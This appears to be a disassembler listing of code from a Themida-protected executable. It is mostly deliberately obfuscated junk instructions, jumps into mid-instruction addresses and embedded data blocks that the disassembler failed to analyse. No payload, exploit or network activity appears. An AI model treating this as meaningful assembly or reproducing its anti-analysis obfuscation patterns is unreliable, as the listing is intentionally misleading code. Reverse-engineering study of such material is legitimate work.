loc_5D0791:				; CODE XREF: sub_5D0702+2Bj
		lodsb
		mov	[ebx], ecx
		xchg	eax, ecx
		cmp	ecx, [edx+ebx+1Ch]
		stc
		dec	esi
		push	ebx


loc_5D079C:				; CODE XREF: sub_5D0740:loc_5D0786j
		mov	edi, 7453AFB5h
		mov	esi, 285AE1E8h
		or	ebx, 25139DE0h
		pusha
		mov	bx, 0AE82h
		mov	esi, edx
		popa
		mov	al, 9Eh
		jmp	loc_5D07C3
; ---------------------------------------------------------------------------
		db 37h
		dd 0B20B1408h
		db 6, 0Ah, 34h
; ---------------------------------------------------------------------------


loc_5D07C3:				; CODE XREF: sub_5D0740+76j
		mov	edi, ebx
		adc	edx, 6F9E307Ch
		jmp	loc_5D07D7	; CODE XREF: sub_5D0740+BBj
; ---------------------------------------------------------------------------
		dd 0E55827EDh
		db 72h,	49h, 0A8h
; ---------------------------------------------------------------------------


loc_5D07D7:				; CODE XREF: sub_5D0740+8Bj
		xor	eax, 63FBD04Ah
		mov	eax, ebx
		jnp	loc_5D0802
		call	sub_5D07FE


loc_5D07EA:				; CODE XREF: sub_5D0740+44j
		stosb
		cmpsb
		cmp	al, 59h
		sub	[edx], ah
		sub	eax, 82CF10ADh
		mov	ch, 82h
		xchg	eax, ebx
		db	65h
		push	0FFFFFFFCh
		ja	short near ptr loc_5D07CB+2
		inc	ebx
sub_5D0740	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D07FE	proc near		; CODE XREF: sub_5D0740+A5p
		movsx	edi, dx
		pop	ebx


loc_5D0802:				; CODE XREF: sub_5D0740+9Fj
		adc	ax, 46h
		mov	ebx, 1A5EE753h
		mov	eax, 342A85A0h
		push	eax
		movzx	ecx, bx
		pop	edx
		jmp	loc_5D0824
; ---------------------------------------------------------------------------
		db 0C4h
		dd 0C8547E02h, 0C0371B55h
; ---------------------------------------------------------------------------


loc_5D0824:				; CODE XREF: sub_5D07FE+18j
		or	dx, 691Eh
		jmp	loc_5D0841
; ---------------------------------------------------------------------------
		dw 2B09h
		dd 596F100Dh, 19205129h, 0ECD9D6B3h, 5007F0B6h
		db 0
; ---------------------------------------------------------------------------


loc_5D0841:				; CODE XREF: sub_5D07FE+2Bj
		push	esi
		pusha
		call	near ptr loc_5D0850+5
		rol	byte ptr [edi+esi+7973563h], 91h


loc_5D0850:				; CODE XREF: sub_5D07FE+45p
		jmp	fword ptr [ebx+5FDE5AB9h]
sub_5D07FE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	eax, 5CEDAAA3h
		popa
		pop	ecx
		movsx	edx, bx
		push	ecx
		movzx	ebx, si
		pop	edi
		push	edi
		jmp	loc_5D087C
; ---------------------------------------------------------------------------
		db 8
		dd 110C4133h, 293684h, 0ECF534D5h, 34A9752h
; ---------------------------------------------------------------------------


loc_5D087C:				; CODE XREF: Themida_:005D0866j
		pop	ecx
		call	near ptr loc_5D0883+5
		stc


loc_5D0883:				; CODE XREF: Themida_:005D087Dp
		fnstcw	word ptr [ebp+66AA246Ah]
		mov	ecx, ebx
		pop	eax
		jnb	loc_5D08A0
		pusha
		jz	$+6
		add	esi, 6E371221h
		popa


loc_5D08A0:				; CODE XREF: Themida_:005D088Cj
		jnp	loc_5D08BE
		call	loc_5D08BD
		lahf
		mov	dh, [edx]
		shr	dword ptr [esi-2DA45CF2h], 0CAh
; ---------------------------------------------------------------------------
		db 8Eh,	0B5h, 0A6h
		dd 64CDE575h
; ---------------------------------------------------------------------------
		pop	ds


loc_5D08BD:				; CODE XREF: Themida_:005D08A6p
		pop	ecx


loc_5D08BE:				; CODE XREF: Themida_:loc_5D08A0j
		mov	ecx, 6B33D8EBh
		jmp	loc_5D08D6
; ---------------------------------------------------------------------------
		dd 7711F1FAh, 0FE9983CFh, 0F07563F7h
		db 4Ch,	0B9h
; ---------------------------------------------------------------------------


loc_5D08D6:				; CODE XREF: Themida_:005D08C3j
		mov	esi, edi
		sub	eax, 2281F098h
		or	cl, 2Dh
		or	edi, 6AD273A3h
		jg	loc_5D08EF
		push	ebx
		pop	edi


loc_5D08EF:				; CODE XREF: Themida_:005D08E7j
		mov	si, di
		call	sub_5D0904
		xchg	eax, esp
		push	ebp
; ---------------------------------------------------------------------------
		db 8Fh,	0D8h, 6Ch
		dd 182F78D5h, 513ABFC2h

; =============== S U B	R O U T	I N E =======================================



sub_5D0904	proc near		; CODE XREF: Themida_:005D08F2p
					; sub_5D093B+36j
		jbe	loc_5D090F
		adc	ax, 0FD6h


loc_5D090F:				; CODE XREF: sub_5D0904j
		pop	esi
		cmc
		jmp	loc_5D0926
; ---------------------------------------------------------------------------
		dw 0EC17h
		dd 3D9C2574h, 2F41543Dh, 481A606Bh
		db 18h,	85h
; ---------------------------------------------------------------------------


loc_5D0926:				; CODE XREF: sub_5D0904+Dj
		mov	edx, edi
		push	ecx
		call	sub_5D093B
		iret
sub_5D0904	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0BAh
		dd 21162BFh, 9646F189h
		db 0AEh, 95h, 89h

; =============== S U B	R O U T	I N E =======================================



sub_5D093B	proc near		; CODE XREF: sub_5D0904+25p
		mov	ebx, esi
		pop	edx
		pop	esi
		jmp	loc_5D0958
; ---------------------------------------------------------------------------
		dd 52800720h, 0D5784BC3h, 7F1994DCh, 0FE9B3852h, 72D65A81h
; ---------------------------------------------------------------------------


loc_5D0958:				; CODE XREF: sub_5D093B+4j
		push	esi
		mov	ebx, 130996F0h
		pop	ebx
		mov	di, 22E0h
		or	di, 0B58Fh
		call	near ptr loc_5D0976+1
		adc	byte ptr [ebx-34h], 0DCh
		jge	short near ptr sub_5D0904+5
		dec	ebx
		dec	ebp
		leave


loc_5D0976:				; CODE XREF: sub_5D093B+2Dp
		sbb	byte ptr [ebx+0Fh], 0BFh
sub_5D093B	endp ; sp-analysis failed

		mov	byte ptr [esi+60h], 0Fh
		mov	edi, 12E8C6h
; ---------------------------------------------------------------------------
		db 0
		dd 9F5D9B00h, 7948B13Ah, 2E7DE471h, 5BBB87C3h, 59C0868Ah
		dd 840F5861h, 2, 8B0FE28Ah, 0Bh, 58B0Fh, 0CFBB0000h, 0E86A9E53h
		dd 0Dh,	0EFAB463h, 0C5163D37h, 0E257A954h, 68B0F08h, 0F000000h
		dd 8Dh,	0B70F5900h, 0BB6656C1h,	815978F2h, 1AC6FCE2h, 88F0F44h
		dd 51000000h, 6874C781h, 66583893h, 7AB0C18Bh, 0BE8h, 0F691CC00h
		dd 36DBC82Ah, 875606D6h, 0FEB70F57h, 0E881595Fh, 628ED4D2h
		dd 5E95E0BEh, 7E97Fh, 1EC10000h, 966262B6h, 87C58022h
		dd 98D0Fh, 66600000h, 0BA66F18Bh, 66611175h, 0E860CB8Bh
		dd 8, 9C8E53C4h, 4B7EE35Ch, 90D1815Eh, 6110577Ch, 51B866F9h
		dd 382CBB6Eh, 10E93D31h, 87000000h, 48463BE3h, 5CF7D174h
		dd 4B38A20Ch, 8B9271DFh, 0B70F56F2h, 0B4BB58D1h, 0E96709DAh
		dd 0Bh,	0D232B532h, 914BFA1Bh, 0F009AFBh, 148Fh, 0EE800h
		dd 73A00000h, 0D68B99D6h, 82FB5941h, 96BA1429h,	63BE665Bh
		dd 0DABF0F6Ch, 0FE9h, 6EA6E00h,	0AD10DBF2h, 0F6D7BFD5h
		dd 6B231420h, 0A8B8DA8Bh, 0E876B563h, 0Fh, 524181C7h, 0B68BB95Ah
		dd 0A2A10AD5h, 0BB2E8F7Bh, 5B4526C2h, 8B666058h, 0BF0F60F9h
		dd 3ED081F8h, 61310F3Bh, 2860F61h, 8A000000h, 7870FDCh
		dd 60000000h, 8BF98B66h, 62B861D7h, 661FA6D9h, 2C84E881h
		dd 81DAB70Fh, 7521A1CEh, 6E9F505h, 0D8000000h, 7FDE250Eh
		dd 0FB8B6681h, 0CE9h, 0A8B53000h, 63B6B160h, 22FBB9EAh
		dd 0FD78B8Eh, 12B7F6BFh, 0EE9h,	68BA8E00h, 26DEFAE4h, 2E9D50BAh
		dd 66F68523h, 7E9D18Bh,	0AB000000h, 3E0B60C2h, 8D0FB54Bh
		dd 6, 0B12FC681h, 0F1813D47h, 748D6CE3h, 0BFE38166h, 0CF45BF1Ah
		dd 81667C7Eh, 66A167F6h, 0F86DDA81h, 66F28B66h,	810FDA8Bh
		dd 2, 0E9575953h, 0Fh, 210767A3h, 377C6BABh, 381B886Bh
		dd 58A4FA2Ah, 0FE9h, 9EF21B00h,	58C49AB7h, 0D3088C58h
		dd 0F6DFDAC3h, 0FC4AC180h, 13E960h, 0AB8A0000h,	493D509Ah
		dd 8E319BC1h, 19B22472h, 324D2ABDh, 0FBBF0F5Ah,	0CDDF8061h
		dd 94EE8050h, 38E28158h, 0F4623FCh, 2E88h, 13E800h, 3D700000h
		dd 5D372EA9h, 0F87DB603h, 2E9A4179h, 36CBAA62h,	10E9C6h
		dd 347F0000h, 0A9B64757h, 1B38D2D1h, 0FAD22B88h, 0E8591CBCh
		dd 5, 3183679Fh, 8B665EE6h, 7E9D0h, 0BB40000h, 5C10C412h
		dd 0F7B70F17h, 94CEE1BEh, 0FF28B12h, 387h, 0DBB70F00h
		dd 2CE980F5h, 0EE20FEBFh, 38C0F14h, 80000000h, 0B70FF4E5h
		dd 4AEA80D6h, 6E851h, 0A9870000h, 0C5D82E70h, 830Fh, 5A580000h
		dd 0DE8h, 0B06DFC00h, 270F81CDh, 417F9EAAh, 85BABBA0h
		dd 5A37C501h, 26A4BF66h, 0DE8B6660h, 0F61C38Bh,	781h, 0C7B95600h
		dd 5B193AACh, 14E9h, 0BE4C9F00h, 39203155h, 2E337FC0h
		dd 4A969A59h, 0F70FD15Ch, 66D18ABAh, 668846BBh,	9BB1DF81h
		dd 5BDE8A50h, 996FE281h, 0E2812F3Ah, 6BF79EC0h,	4820Fh
		dd 0BF660000h, 5BB3F2CCh, 10E9h, 0B7910F00h, 0A5158DB7h
		dd 2462D885h, 0F0421122h, 5E833h, 50640000h, 597EBE87h
		dd 0B8FB8B66h, 1CB3F4F5h, 0E8FBB70Fh, 6, 5D8D8F30h, 8C0F0C51h
		dd 5, 3BD78166h, 0AE95F92h, 0B6000000h,	94A7020Fh, 1EB1D83Ah
		dd 8A0F60E6h, 2, 8B0F6160h, 0
; ---------------------------------------------------------------------------
		popa
		jle	loc_5D0D55
		or	ebx, 796FE6Ah


loc_5D0D55:				; CODE XREF: Themida_:005D0D49j
		jmp	loc_5D0D68
; ---------------------------------------------------------------------------
		dw 9E75h
		dd 0A06E20D0h, 475C206Eh, 5F7D87E5h
; ---------------------------------------------------------------------------


loc_5D0D68:				; CODE XREF: Themida_:loc_5D0D55j
		xor	di, 447Bh
		jmp	loc_5D0D82
; ---------------------------------------------------------------------------
		cmp	al, 7Ch
		xchg	eax, esi
		push	esp
		pusha
		lodsd
		movsd
		sub	eax, 430D84E6h
		jmp	fword ptr [ebp-7Fh]
; ---------------------------------------------------------------------------
		scasd


loc_5D0D82:				; CODE XREF: Themida_:005D0D6Dj
		mov	dx, ax
		adc	si, 0E429h
		movsx	ecx, si
		pusha
		sub	di, 23A6h
		movsx	ecx, ax
		popa
		jmp	loc_5D0DA8
; ---------------------------------------------------------------------------
		dd 9D586F69h, 0FEA92DA6h, 8E298C87h
; ---------------------------------------------------------------------------


loc_5D0DA8:				; CODE XREF: Themida_:005D0D97j
		add	ax, 73BFh
		mov	di, si
		mov	cx, bx
		mov	edi, esi
		mov	bx, ax
		movsx	ebx, si
		movsx	eax, bx
		or	eax, 3A3331F2h
		jp	$+6
		call	sub_5D0DE2
		pushf
		jl	short loc_5D0E48
		pop	ecx
		adc	bh, [edx]
		mov	dh, 0E6h
		fbld	tbyte ptr [edx-0DC872E7h]
		mov	ds:5F317A2Eh, al

; =============== S U B	R O U T	I N E =======================================



sub_5D0DE2	proc near		; CODE XREF: Themida_:005D0DCAp
		jnp	loc_5D0DEA
		mov	bh, 0D9h


loc_5D0DEA:				; CODE XREF: sub_5D0DE2j
		pop	edi
		jo	loc_5D0DFC
		js	loc_5D0DFC
		mov	ebx, 6D28A28h


loc_5D0DFC:				; CODE XREF: sub_5D0DE2+9j
					; sub_5D0DE2+Fj
		call	sub_5D0E14
		mul	dword ptr [ebx+6A4A8C12h]
		mov	ecx, [ecx+27F6C4A8h]
		pop	ebx
		inc	esi
		call	near ptr 0C65C05C7h
sub_5D0DE2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D0E14	proc near		; CODE XREF: sub_5D0DE2:loc_5D0DFCp

; FUNCTION CHUNK AT 005D0E4A SIZE 00000035 BYTES
; FUNCTION CHUNK AT 005D0E8D SIZE 0000003E BYTES
; FUNCTION CHUNK AT 005D0ED7 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005D0F01 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005D0F22 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005D0F37 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005D0F54 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 005D0F86 SIZE 0000000C BYTES

		mov	ebx, edx
		pop	edi
		mov	al, 90h
		jmp	loc_5D0E27
; ---------------------------------------------------------------------------
		dw 2565h
		dd 5175CA23h
		db 54h,	0C5h, 0BAh
; ---------------------------------------------------------------------------


loc_5D0E27:				; CODE XREF: sub_5D0E14+5j
		jz	loc_5D0E32
		mov	eax, 4A5BDC09h


loc_5D0E32:				; CODE XREF: sub_5D0E14:loc_5D0E27j
		mov	cx, 0AB1Ch
		push	ecx
		ja	loc_5D0E4A
		call	near ptr loc_5D0E48+1
		iret
sub_5D0E14	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0B4h
		dd 3D2B9936h
; ---------------------------------------------------------------------------


loc_5D0E48:				; CODE XREF: Themida_:005D0DD0j
					; sub_5D0E14+29p
		loop	near ptr loc_5D0EA2+2
; START	OF FUNCTION CHUNK FOR sub_5D0E14


loc_5D0E4A:				; CODE XREF: sub_5D0E14+23j
		pop	ebx
		jz	loc_5D0E54
		mov	di, ax


loc_5D0E54:				; CODE XREF: sub_5D0E14+37j
		sbb	ah, 0CEh
		mov	edx, ecx
		mov	esi, 2D7B5A23h
		pusha
		jl	$+6
		popa
		and	si, 0CAB9h
		movzx	edi, di
		mov	eax, 1CDE7E09h
		clc
		ja	loc_5D0E8D
		jmp	loc_5D0E8D
; END OF FUNCTION CHUNK	FOR sub_5D0E14
; ---------------------------------------------------------------------------
		db 5Bh
		db 90h
		db 1Ch,	8Fh, 0B9h
		dd 29682F6h, 6D482528h
		db 0E4h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D0E14


loc_5D0E8D:				; CODE XREF: sub_5D0E14+60j
					; sub_5D0E14+66j
		sub	si, 3056h
		mov	edx, 7BBA0343h
		xor	eax, 2343391Bh
		add	di, 0D249h


loc_5D0EA2:				; CODE XREF: Themida_:loc_5D0E48j
		mov	cx, 4E43h
		call	near ptr loc_5D0EB5+1
		std
		or	bl, [ecx+3Eh]
		mov	ds:0E2AB729Fh, esp


loc_5D0EB5:				; CODE XREF: sub_5D0E14+92p
		adc	al, 8Bh
		sti
		pop	ecx
		jge	$+6
		cmc
		and	dx, 195Bh
		clc
		jmp	loc_5D0ED7
; END OF FUNCTION CHUNK	FOR sub_5D0E14
; ---------------------------------------------------------------------------
		db 0B6h
		dd 0F170D259h, 23D0170Fh
; ---------------------------------------------------------------------------
		xchg	ebx, [ebx-1Ah]
; START	OF FUNCTION CHUNK FOR sub_5D0E14


loc_5D0ED7:				; CODE XREF: sub_5D0E14+B2j
		push	edx
		and	edx, 4731588Fh
		pop	esi
		push	ecx
		movzx	ecx, ax
		pop	ecx
		jo	loc_5D0EED
		mov	ax, si


loc_5D0EED:				; CODE XREF: sub_5D0E14+D0j
		jmp	loc_5D0F01
; END OF FUNCTION CHUNK	FOR sub_5D0E14
; ---------------------------------------------------------------------------
		or	[ecx+4514823Ch], al
		mov	ds:58BED968h, ah
		inc	edx
		xor	[edi], esi
; START	OF FUNCTION CHUNK FOR sub_5D0E14


loc_5D0F01:				; CODE XREF: sub_5D0E14:loc_5D0EEDj
		mov	eax, 31FB0FE6h
		clc
		mov	ecx, 0F10D83Dh
		movzx	ebx, dx
		mov	al, 83h
		cld
		cld
		jmp	loc_5D0F22
; END OF FUNCTION CHUNK	FOR sub_5D0E14
; ---------------------------------------------------------------------------
		dd 508F5D0Bh, 0B7959458h
		db 0DBh, 67h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D0E14


loc_5D0F22:				; CODE XREF: sub_5D0E14+FFj
		mov	ebx, 63FC5381h
		jmp	loc_5D0F37
; END OF FUNCTION CHUNK	FOR sub_5D0E14
; ---------------------------------------------------------------------------
		dd 7DD0B112h, 0CE43E6E2h
		db 64h,	0E6h, 0EDh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D0E14


loc_5D0F37:				; CODE XREF: sub_5D0E14+113j
		mov	ecx, esi
		movsx	eax, si
		mov	si, 0F914h
		adc	di, 5BFh
		mov	dl, 3
		jmp	loc_5D0F54
; END OF FUNCTION CHUNK	FOR sub_5D0E14
; ---------------------------------------------------------------------------
		dd 78B14A3Dh, 52189F4Bh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D0E14


loc_5D0F54:				; CODE XREF: sub_5D0E14+133j
		movsx	esi, di
		mov	ebx, 0CDCFD23h
		mov	ecx, 4D996D50h
		call	near ptr loc_5D0F6B+7
		setalc
		push	ebp
		cdq
		mov	cl, cl


loc_5D0F6B:				; CODE XREF: sub_5D0E14+14Dp
		test	dword ptr [ebp+esi-3Eh], 56600CFAh
		ja	$+6
		pop	ecx
		pop	edx
		push	ecx
		jmp	loc_5D0F86
; END OF FUNCTION CHUNK	FOR sub_5D0E14
; ---------------------------------------------------------------------------
		db 59h,	44h, 27h
		db 89h,	2Ch
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D0E14


loc_5D0F86:				; CODE XREF: sub_5D0E14+168j
		pop	ecx
		call	sub_5D0F92
		push	esi
		cwde
		test	[ebp+59h], ebx
		scasd
; END OF FUNCTION CHUNK	FOR sub_5D0E14

; =============== S U B	R O U T	I N E =======================================



sub_5D0F92	proc near		; CODE XREF: sub_5D0E14+173p

arg_0		= byte ptr  4

		jb	loc_5D0F9D
		mov	eax, 10D679A6h


loc_5D0F9D:				; CODE XREF: sub_5D0F92j
		pop	ecx
		clc
		and	eax, 6EF46C14h	; CODE XREF: sub_5D0FE2+Bj
		mov	si, 77A0h
		push	eax
		mov	ax, si
		pop	edi
		mov	al, 9Fh
		jmp	loc_5D0FC9
; ---------------------------------------------------------------------------
		db 5, 29h, 35h
		dd 54B1EE95h, 0E261C565h, 66C8EF22h, 2651B75Bh
		db 7Bh
; ---------------------------------------------------------------------------


loc_5D0FC9:				; CODE XREF: sub_5D0F92+1Ej
		mov	eax, ebx
		call	sub_5D0FE2
		inc	esi
		sub	bh, al
		dec	esp
		add	[esi+2Bh], ecx
		call	near ptr 0ACC6F25Ah
		call	fword ptr [esp+ebp*8-4+arg_0]
		or	ecx, [edx-41h]
sub_5D0F92	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D0FE2	proc near		; CODE XREF: sub_5D0F92+39p
		cld
		pop	ebx
		mov	si, dx
		call	sub_5D0FF2
		popa
		jbe	short near ptr loc_5D0F9F+4
		out	dx, eax
		push	0FFFFFFBEh
sub_5D0FE2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D0FF2	proc near		; CODE XREF: sub_5D0FE2+5p
		movzx	ecx, cx
		pop	ecx
		jb	loc_5D0FFE
		mov	bl, 51h


loc_5D0FFE:				; CODE XREF: sub_5D0FF2+4j
		movsx	ebx, ax
		clc
		push	ecx
		add	cx, 7640h
		pop	eax
		jle	loc_5D1011
		mov	ah, 97h


loc_5D1011:				; CODE XREF: sub_5D0FF2+17j
		mov	ecx, 4B7F6A8Fh
		mov	ecx, esi
		sub	di, 7624h
		or	bl, 80h
		mov	eax, edi
		jmp	loc_5D1036
; ---------------------------------------------------------------------------
		db 92h
		dd 8435BEACh, 0C916E98Ah, 0B06BDF25h
		db 1Bh,	80h
; ---------------------------------------------------------------------------


loc_5D1036:				; CODE XREF: sub_5D0FF2+30j
		jle	loc_5D1047
		jmp	loc_5D1047
; ---------------------------------------------------------------------------
		db 0ACh, 0F7h, 0D1h
		db 10h,	83h, 28h
; ---------------------------------------------------------------------------


loc_5D1047:				; CODE XREF: sub_5D0FF2:loc_5D1036j
					; sub_5D0FF2+4Aj
		pusha
		mov	ecx, 4EFB1588h
		mov	bl, cl
		popa
		jns	loc_5D105B
		and	si, 0FE04h


loc_5D105B:				; CODE XREF: sub_5D0FF2+5Ej
		ja	loc_5D1063
		mov	edi, eax


loc_5D1063:				; CODE XREF: sub_5D0FF2:loc_5D105Bj
		mov	ecx, ebx
		call	near ptr loc_5D1075+4
		popf
		adc	bh, bl
		lodsb
		xchg	eax, ebp
		lahf
		loop	near ptr loc_5D10B0+2
		cld
		in	eax, 0EEh


loc_5D1075:				; CODE XREF: sub_5D0FF2+73p
		sub	dword ptr [edx-71F00B98h], 2
sub_5D0FF2	endp ; sp-analysis failed

		push	ebx
		pop	eax
		pop	edi
		adc	al, 0E1h
		mov	eax, 726E84DBh
		mov	dh, ah
		mov	si, 9B0Ch
		pusha
		jmp	loc_5D10A9
; ---------------------------------------------------------------------------
		dw 3322h
		dd 0FEF11163h, 7A9D441Fh, 0BE28E58Eh, 769E2399h
		db 7Bh
; ---------------------------------------------------------------------------


loc_5D10A9:				; CODE XREF: Themida_:005D1091j
		popa
		jnz	loc_5D10B5


loc_5D10B0:				; CODE XREF: sub_5D0FF2+7Ej
		mov	esi, 2037E982h


loc_5D10B5:				; CODE XREF: Themida_:005D10AAj
		jmp	loc_5D10C2
; ---------------------------------------------------------------------------
		dw 2163h
		dd 93CE38AFh
		db 91h,	73h
; ---------------------------------------------------------------------------


loc_5D10C2:				; CODE XREF: Themida_:loc_5D10B5j
		add	ax, 663Bh
		pusha
		jz	loc_5D10D0
		mov	bh, ch


loc_5D10D0:				; CODE XREF: Themida_:005D10C8j
		mov	bx, di
		popa
		call	near ptr loc_5D10E0+2
		sub	bh, ah
		mov	ds:2E528C2h, eax


loc_5D10E0:				; CODE XREF: Themida_:005D10D4p
		adc	eax, 0D3805944h
		mov	edx, 66FB8B66h
		mov	edx, eax
		mov	cx, si
		stc
		mov	cx, ax
		adc	di, 0F511h
		mov	edi, 3E64E47Ah
		jns	loc_5D110D
		jmp	loc_5D110D
; ---------------------------------------------------------------------------
		dd 270F81CDh
; ---------------------------------------------------------------------------
		stosb


loc_5D110D:				; CODE XREF: Themida_:005D10FDj
					; Themida_:005D1103j
		add	ch, 70h
		push	esi
		js	loc_5D1124
		jmp	loc_5D1124
; ---------------------------------------------------------------------------
		dd 0AFFF75E0h, 6D4DA76h
; ---------------------------------------------------------------------------


loc_5D1124:				; CODE XREF: Themida_:005D1111j
					; Themida_:005D1117j
		pop	edi
		jmp	loc_5D112F
; ---------------------------------------------------------------------------
		dw 5269h
		db 0F2h, 4Fh, 26h
; ---------------------------------------------------------------------------


loc_5D112F:				; CODE XREF: Themida_:005D1125j
		ja	loc_5D113A
		sbb	si, 40A2h


loc_5D113A:				; CODE XREF: Themida_:loc_5D112Fj
		mov	ax, 8138h
		mov	edx, 31483579h
		jmp	loc_5D1152
; ---------------------------------------------------------------------------
		pop	eax
		retn
; ---------------------------------------------------------------------------
		dw 0F089h
		dd 50E2CF70h
; ---------------------------------------------------------------------------
		xchg	eax, ebp
		pop	ebx


loc_5D1152:				; CODE XREF: Themida_:005D1143j
		cld
		mov	dx, bx
		sbb	di, 23BDh
		jl	loc_5D1166
		mov	edi, 4099AFFFh


loc_5D1166:				; CODE XREF: Themida_:005D115Bj
		add	cx, 1DCh
		mov	di, si
		sbb	bh, 2Ah
		jmp	loc_5D1185
; ---------------------------------------------------------------------------
		dw 0D360h
		dd 4171ACFBh, 8320DBA2h, 0BAE34B8h
; ---------------------------------------------------------------------------
		pop	esp


loc_5D1185:				; CODE XREF: Themida_:005D1171j
		add	ah, 0DAh
		jg	loc_5D1199
		jb	loc_5D1199
		sbb	bx, 93F9h


loc_5D1199:				; CODE XREF: Themida_:005D1188j
					; Themida_:005D118Ej
		clc
		mov	esi, 3D852BF2h
		call	sub_5D11B8
		jg	short loc_5D11AE
		lodsb
		or	al, 92h
		fmulp	st(6), st
		pop	ecx
		cli
		icebp


loc_5D11AE:				; CODE XREF: Themida_:005D11A4j
		adc	[edi-31h], esi
		sbb	dword ptr [ecx+7563F7FEh], 0FFFFFFF0h

; =============== S U B	R O U T	I N E =======================================



sub_5D11B8	proc near		; CODE XREF: Themida_:005D119Fp
		pop	ecx
		and	ax, 1CDCh
		jp	loc_5D11CC
		jl	loc_5D11CC
		pusha
		popa


loc_5D11CC:				; CODE XREF: sub_5D11B8+6j
					; sub_5D11B8+Cj
		sub	dx, 0EAAEh
		jmp	loc_5D11DF
; ---------------------------------------------------------------------------
		dw 3A88h
		dd 0DF5D5B74h
		db 93h,	0D0h, 4Fh
; ---------------------------------------------------------------------------


loc_5D11DF:				; CODE XREF: sub_5D11B8+19j
		movsx	ecx, ax
		push	ebx
		mov	ebx, 7D14D2A8h
		pop	edx
		mov	si, ax
		mov	eax, 24774EE9h
		sbb	al, 0B4h
		sbb	edi, 6702BE4Fh
		pusha
		call	sub_5D1208
		out	0B2h, al	; Interrupt Controller #2, 8259A
		ror	dword ptr ds:723A1628h,	cl
sub_5D11B8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D1208	proc near		; CODE XREF: sub_5D11B8+43p

var_22		= dword	ptr -22h

; FUNCTION CHUNK AT 005D12B4 SIZE 0000000C BYTES

		jz	$+6
		pop	edi
		mov	ebx, 67F1BB85h
		popa
		jmp	loc_5D122D
; ---------------------------------------------------------------------------
		pop	ebp
		les	edx, [ebp+6115A1A7h]
		push	edx
		mov	edx, 0A2F7A24h
		adc	ebx, [edi]
		add	edi, eax
		pop	ebp


loc_5D122D:				; CODE XREF: sub_5D1208+Dj
		jno	loc_5D1236
		and	ch, 2Ah


loc_5D1236:				; CODE XREF: sub_5D1208:loc_5D122Dj
		pusha
		mov	cx, si
		popa
		call	sub_5D124C
		pop	ebp
		xchg	eax, ebx
		db	2Eh
		jns	short loc_5D12B4
		test	al, 0BAh
		retn	6D19h
sub_5D1208	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 0FCEBh

; =============== S U B	R O U T	I N E =======================================



sub_5D124C	proc near		; CODE XREF: sub_5D1208+33p
		js	loc_5D1254
		mov	ch, bh


loc_5D1254:				; CODE XREF: sub_5D124Cj
		pop	ebx
		jz	loc_5D1277
		jno	loc_5D1277
		jmp	loc_5D1277
; ---------------------------------------------------------------------------
		shr	edi, 1
		sbb	ecx, 0B92FFFF5h
		setalc
		push	edi
		mov	esp, edi
		sbb	al, 3Bh
		sub	[ebx+5Dh], edx


loc_5D1277:				; CODE XREF: sub_5D124C+9j
					; sub_5D124C+Fj ...
		movsx	edx, di
		cld
		push	eax
		jmp	loc_5D1286
; ---------------------------------------------------------------------------
		db 44h,	8Ch, 0D4h
		db 20h,	82h
; ---------------------------------------------------------------------------


loc_5D1286:				; CODE XREF: sub_5D124C+30j
		pop	edi
		and	dx, 669Fh
		jmp	loc_5D12A0
; ---------------------------------------------------------------------------
		db 3Ah,	3Eh, 64h
		dd 2482AC96h, 3FFF8542h, 3D80D803h
; ---------------------------------------------------------------------------


loc_5D12A0:				; CODE XREF: sub_5D124C+40j
		push	ebx
		jp	near ptr loc_5D12B9+2
		jmp	near ptr loc_5D12B9+2
sub_5D124C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 56502D57h, 0CEE46CD9h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D1208


loc_5D12B4:				; CODE XREF: sub_5D1208+3Aj
		xchg	ebx, [esp+edi*2-4Ah]
		inc	eax


loc_5D12B9:				; CODE XREF: sub_5D124C+55j
					; sub_5D124C+5Bj
		adc	byte ptr [ebp+0CE96058h], 0
; END OF FUNCTION CHUNK	FOR sub_5D1208
; ---------------------------------------------------------------------------
		dd 1A710000h, 0A38FA60Fh, 0CAEB332Ah, 8D0F852Dh, 6, 8B0Fh
		dd 0F610000h, 8B66F9B7h, 178A0FC6h, 0E8000000h,	0Fh, 0D33E63AAh
		dd 0C4E4F2B9h, 0B66D5272h, 8A0DF537h, 0FFC5FF8h, 288h
		dd 81D88B00h, 0EDF046D9h, 0BAB8661Ch, 0C2B70F2Bh, 14E960h
		dd 36BE0000h, 0C819B733h, 0C8E0A0E0h, 0E175DA91h, 5652C57Ch
		dd 0D18AB96Bh, 0EE861h,	0EFCB0000h, 0C0CC179Bh,	51780708h
		dd 70D90241h, 60F558F8h, 14E957h, 5AA80000h, 0FE33CF27h
		dd 365842E9h, 3D0438A5h, 26CE9515h, 0F5E8EEAh, 0F61D8B7h
		dd 588h, 0C2D0BF00h, 8E92928h, 95000000h, 956881BCh, 817D3A23h
		dd 85C3C1F7h, 7E841h, 0EBCD0000h, 35834B9Ch, 0FE8B6637h
		dd 12E85Bh, 268E0000h, 94C1D82Ah, 0CF6E292Ch, 0EC24D470h
		dd 207E3653h, 0F5B36B5h, 1889h,	13E900h, 0D4340000h, 782CD5C8h
		dd 35B62B3Ch, 3D16A50Ch, 3F65967Fh, 0C78166E9h,	8166588Dh
